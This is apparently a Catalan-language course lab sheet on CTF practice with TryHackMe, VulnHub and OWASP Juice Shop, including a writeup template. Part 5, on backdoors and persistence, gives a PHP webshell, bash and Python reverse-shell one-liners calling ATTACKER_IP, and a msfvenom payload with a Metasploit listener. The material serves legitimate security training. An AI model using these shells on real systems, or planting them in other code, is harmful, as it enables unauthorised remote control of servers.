Salta el contingut

PR5052 - CTF i Plataformes d'Entrenament

Objectius

  • Completar almenys 3 màquines de TryHackMe
  • Practicar hacking web avançat (SQLi, XSS, SSTI, IDOR)
  • Explotar vulnerabilitats de xarxa i sistemes
  • Aplicar tècniques de backdoor i persistència en entorn controlat
  • Documentar les writeups de les màquines resoltes

Prerequisits

Element Detall
Temps estimat 6 hores
Eines necessàries Docker Desktop, compte TryHackMe (gratuït)
Connexió VPN de TryHackMe (OpenVPN)
Nivell Beginner-Intermediate

Introducció

Els CTF (Capture The Flag) son competicions de ciberseguretat on els participants han de resoldre reptes per obtenir banderes ("flags"), típicament strings amb format FLAG{text} o THM{text}. Permeten practicar en entorns reals i legals.

TryHackMe és la plataforma recomanada per a principiants: màquines amb guies, paths d'aprenentatge estructurats i connexió via VPN sense necessitat de configurar res localment.

Part 1: Configuració de TryHackMe

1.1 Crear compte i configurar VPN

# 1. Crear compte a tryhackme.com
# 2. Accedir a: https://tryhackme.com/access
# 3. Descarregar el fitxer OpenVPN
# 4. Connectar-se:

# Via Docker (si no vols instal·lar OpenVPN)
docker run -d \
  --name thm-vpn-NOMCOGNOM \
  --cap-add NET_ADMIN \
  --device /dev/net/tun \
  -v $(pwd)/thm.ovpn:/vpn/thm.ovpn \
  dperson/openvpn-client \
  -v thm

# Verificar la connexió
docker exec thm-vpn-NOMCOGNOM ip addr show tun0

# Llencar Kali usant la xarxa del VPN
docker run -it \
  --name kali-thm-NOMCOGNOM \
  --network container:thm-vpn-NOMCOGNOM \
  kalilinux/kali-rolling bash

Part 2: Màquines de TryHackMe Recomanades

2.1 Ruta d'aprenentatge: "Pre-Security" o "Complete Beginner"

Les màquines recomanades per a practicar els conceptes del curs:

Màquina Nivell Conceptes Codi
Mr Robot CTF Mig Web, Linux PrivEsc mrrobot
OWASP Top 10 Principiant OWASP vulnerabilities owasptop10
Blue Principiant EternalBlue (CVE-2017-0144) blue
Pickle Rick Principiant Web, Command injection picklerick
Kenobi Principiant FTP, SUID PrivEsc kenobi
Basic Pentesting Principiant Pentesting complet basicpentestingjt

Stratègia recomanada

Comença per "Pickle Rick" (15-30 min) per agafar confiança, després "OWASP Top 10" per consolidar vulnerabilitats web, i finalment "Mr Robot CTF" com a repte final.

2.2 Template de Writeup

Per a cada màquina completada, documenta el procés:

# Writeup: [Nom de la Màquina]
**Plataforma**: TryHackMe
**Alumne**: NOMCOGNOM
**Data**: ____________________
**IP de la màquina**: 10.10.x.x
**Dificultat**: Easy/Medium/Hard

## 1. Reconeixement

### Nmap
```bash
nmap -sV -sC -O --open -T4 10.10.x.x
Ports oberts: - 22/tcp: SSH (OpenSSH x.x) - 80/tcp: HTTP (Apache x.x) - ...

Enumeració web

gobuster dir -u http://10.10.x.x -w /usr/share/wordlists/dirb/common.txt
Directoris trobats: - /robots.txt → conté: ... - /admin → panell d'administració

2. Accés inicial

Vulnerabilitat exploited: [nom + CVE si aplica] Payload/comandes:

# Comandes exactes usades
Captura de pantalla: [adjunta] Shell obtinguda com a: www-data / user_x

3. Escalada de privilegis

Mètode: [SUID, sudo, cron, kernel exploit...] Comandes:

# Comandes d'escalada
Shell de root obtinguda: Sí/No

4. Flags obtingudes

  • user.txt: THM{NOMCOGNOM_flag_user}
  • root.txt: THM{NOMCOGNOM_flag_root}

5. Lliçons apreses

  • [Concepte 1 après]
  • [Concepte 2 après]
    ## Part 3: CTF Local - VulnHub
    
    Si no tens accés a Internet estable, pots descarregar màquines de **VulnHub** i importar-les a VirtualBox/VMware:
    
    ```bash
    # Alternativa Docker per a alguns targets de VulnHub
    # (no tots estan disponibles, però alguns sí)
    
    # DC-1 (màquina Drupal)
    docker run -d \
      --name vulnhub-dc1-NOMCOGNOM \
      --network pentest_net \
      hackersploit/dc-1
    
    # Kioptrix Level 1
    # Disponible únicament com a VM, no Docker
    # Descarregar de: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
    

Part 4: Hacking Web Avançat (en Juice Shop)

# Iniciar Juice Shop per als reptes avançats
docker run -d \
  --name juice-advanced-NOMCOGNOM \
  -p 3001:3000 \
  bkimminich/juice-shop

# Accedir a http://localhost:3001

Reptes de nivell avançat (★★★ i ★★★★)

## Reptes avançats a completar - NOMCOGNOM

### SSTI (Server-Side Template Injection)
- Repte: "Perform a Remote Code Execution that would keep a less aware developer up at night"
- Hint: Busca camps d'entrada que puguin ser vulnerables a SSTI
- Payload Jinja2: {{7*7}} per confirmar, després RCE

### JWT Manipulation
- Repte: Accedir al compte d'un administrador modificant el JWT
- Eines: https://jwt.io, Burp Suite

### Broken Access Control (IDOR)
- Repte: "Access the basket of another user"
- Hint: Observa les peticions a /api/Baskets/

### File Upload Bypass
- Repte: Pujar un shell PHP com si fos una imatge
- Hint: Modificar Content-Type i extensió

Part 5: Backdoors i Persistència (Entorn Controlat)

5.1 Backdoor web

<?php
// webshell.php - Per a demostració en entorn de lab
// Permet executar comandes al servidor
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

// Accedir: http://TARGET/webshell.php?cmd=id
// Output: uid=33(www-data) gid=33(www-data)

5.2 Shell inversa

# En la màquina atacant: escoltar connexions entrants
nc -lvnp 4444

# En la màquina víctima (via webshell o RCE): connectar cap al atacant
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Alternativa amb Python (si bash no funciona)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

5.3 Shell inversa via msfvenom

# Generar un payload amb msfvenom
msfvenom \
  -p linux/x64/shell_reverse_tcp \
  LHOST=ATTACKER_IP \
  LPORT=4444 \
  -f elf \
  -o reverse-shell-NOMCOGNOM.elf

# Configuració del listener (Metasploit)
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/shell_reverse_tcp; set LHOST ATTACKER_IP; set LPORT 4444; run"

Reflexió final

Compara la teva experiència entre: 1. Les màquines de TryHackMe (guiades) 2. Les màquines de VulnHub (sense guia) 3. El Juice Shop (reptes independents)

Quina diferència principal trobes en el nivell de dificultat i en les habilitats que desenvolupes a cada plataforma?

Informe final

Crea el document ctf_writeups_NOMCOGNOM.md amb:

# CTF Writeups - NOMCOGNOM

## Màquines completades a TryHackMe

| Màquina | Data | Temps | Flags obtingudes | Tècniques usades |
|---------|------|-------|-----------------|-----------------|
| Pickle Rick | | | user + root | Web, Command injection |
| OWASP Top 10 | | | Multiple | OWASP vulnerabilities |
| Mr Robot | | | 3 flags | WordPress, PrivEsc |

[Writeup complet per a cada màquina - seguint el template de la Part 2]

## Reptes Juice Shop completats
[Llista amb payload + categoria OWASP per a cada repte]

## Reflexió final
[Resposta a la reflexió comparativa]

Rúbrica

Vegeu Rúbrica PR5052.